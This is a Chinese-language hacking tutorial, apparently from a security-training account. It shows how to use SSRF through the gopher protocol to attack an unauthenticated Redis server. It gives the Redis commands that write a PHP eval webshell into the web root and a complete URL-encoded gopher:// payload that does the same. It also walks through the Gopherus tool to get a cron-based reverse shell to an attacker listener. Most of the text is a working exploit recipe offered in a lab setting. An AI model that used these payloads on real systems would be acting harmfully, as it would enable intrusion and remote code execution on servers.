| 关键词: 协议 gopher 然后 Redis 攻击 很多 shell curl Gopherus |
零基础黑客教程,黑客圈新闻,安全面试经验关注公众号:掌控安全EDU0×00 前言 大家好,我是掌控安全学院的聂风,SSRF(服务器端请求伪造)漏洞是一种由攻击者构造形成由服务端发起请求的一个安全漏洞,话不多说,看文章。 0×01 环境搭建 Centos 靶机 Kali攻击机 Lnmp [文中会介绍安装] Redis[文中会介绍安装] Gopherus.py [https://github.com/tarunkant/Gopherus]
$ch = curl_init(); 0x02 正文 我们先开始介绍下我们这篇文章的主角,gopher协议。 Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。 随着HTTP协议的壮大,Gopher协议已经慢慢的淡出了我们的视线,但是Gopher协议很多组件都支持并且可以做很多事,在SSRF中,Gopher协议可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,也可以发送GET、POST 请求。 那么Gopher协议需要如何构造? 其实这个协议和http协议很类似,只不过gopher协议没有默认端口,需要特殊指定,而且需要指定POST方法,回车换行需要使用%0d%0a,而且POST参数之间的&分隔符也需要URL编码 我们来看看Gopher协议的基本协议格式 gopher:// 那么我们试试看Gopher协议最经典的攻击方式,很多服务默认都不会在公网开启,一般都是仅仅允许本地访问,例如Redis,Redis因为配置不当会造成未授权访问,攻击者可以读取敏感信息,写入文件(不知道的同学可以去补一下这块的知识) 因为gopher协议传参方式是TCP数据流,那么我们可以尝试使用tcpdump或者直接使用Wireshark进行捕捉TCP的传输。 我们现在攻击机上安装一个redis 【安装方法有很多,可以用wget安装,也可以用apt-get安装】 【可以参考https://www.cnblogs.com/langtianya/p/5187681.html】 我因为是Kali直接apt-get搞定的,安装成功后会出现这个开心页面的页面 ![]() 然后我们再开一个窗口,输入redis-cli [进入redis的终端],然后输出ping 如果返回PONG 那么就是成功了。 ![]() 然后我们再进行一些Redis未授权访问的攻击,其中危害最大的莫过于是直接写入Webshell和利用计划任务执行命令反弹shell,这个命令一般Centos容易复现。我们打开我们的抓包工具。 我这里用Wireshark吧。我们先让他去抓lo这个网卡 ![]() 然后去执行Redis的恶意语句。 config set dir /home/wwwroot/default/config set dbfilename "shell.php"set gaia ""saveexit /home/wwwroot/default是网站的根目录,这个可以根据网页报错找到,也可以使用file:///协议去读取敏感文件去获取网站根目录。[如果第一条执行不了,可能是你的攻击机器没有这个目录,创建一下就行] ![]() ![]() 成功写入了webshell 然后我们执行完之后 打开Wireshark然后右键追踪流里面,有个TCP流,里面感觉有很多数据,不要害怕,记得去选中我们发送过去的数据【因为我们Redis有数据回显】 ![]() 然后将获得的数据复制下来,并对其进行处理。 先进行一次URL编码,然后把每一个换行用%0d%0a代替转码出来的%0a,记得要把?替换为%3f,再将这个东西再加上gopher的前缀进行执行。 然后将每一个换行用%0d%0a代替转码出来的%0a,记得要把?替换为%3f 然后我们将这个东西再加上gopher的前缀进行执行。 gopher://127.0.0.1:6379/*1%0D%0A$7%0D%0ACOMMAND%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$22%0D%0A/home/wwwroot/default/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$4%0D%0Agaia%0D%0A$24%0D%0A%3C%3fphp%20eval($_POST%5Ba%5D);%3f%3E%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A 执行后,就会在根目录生成shell.php ![]() 好不容易拿了一个Webshell,这样子真的是异常的麻烦,于是乎有前辈写过一个脚本,gopherus.py,在github可以下载。[这个工具支持多种Gopher协议生成攻击代码] (LINUX Redis计划任务反弹shell) 自动化脚本使用及安装过程: ![]() 我们选中redis模块[python gopherus.py --exploit redis] 然后很贴心的问我要webshell还是反弹shell,然后让我们写接受反弹shell的Ip ![]() 监听1234端口 ![]() 成功获得反弹Shell,不需要各种抓包、转码多开心。 Gopherus.py还支持几种未授权访问的方法,总的来说还不错。可以都去试一试,很多非加密访问的未授权访问都可以尝试使用Gopher协议去尝试利用! 0×03 总结 Gopher协议可攻击的范围还有很多,后续会找机会再做更新。 |
| 本文出处: https://www.toutiao.com/a6759387515397865987/ |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|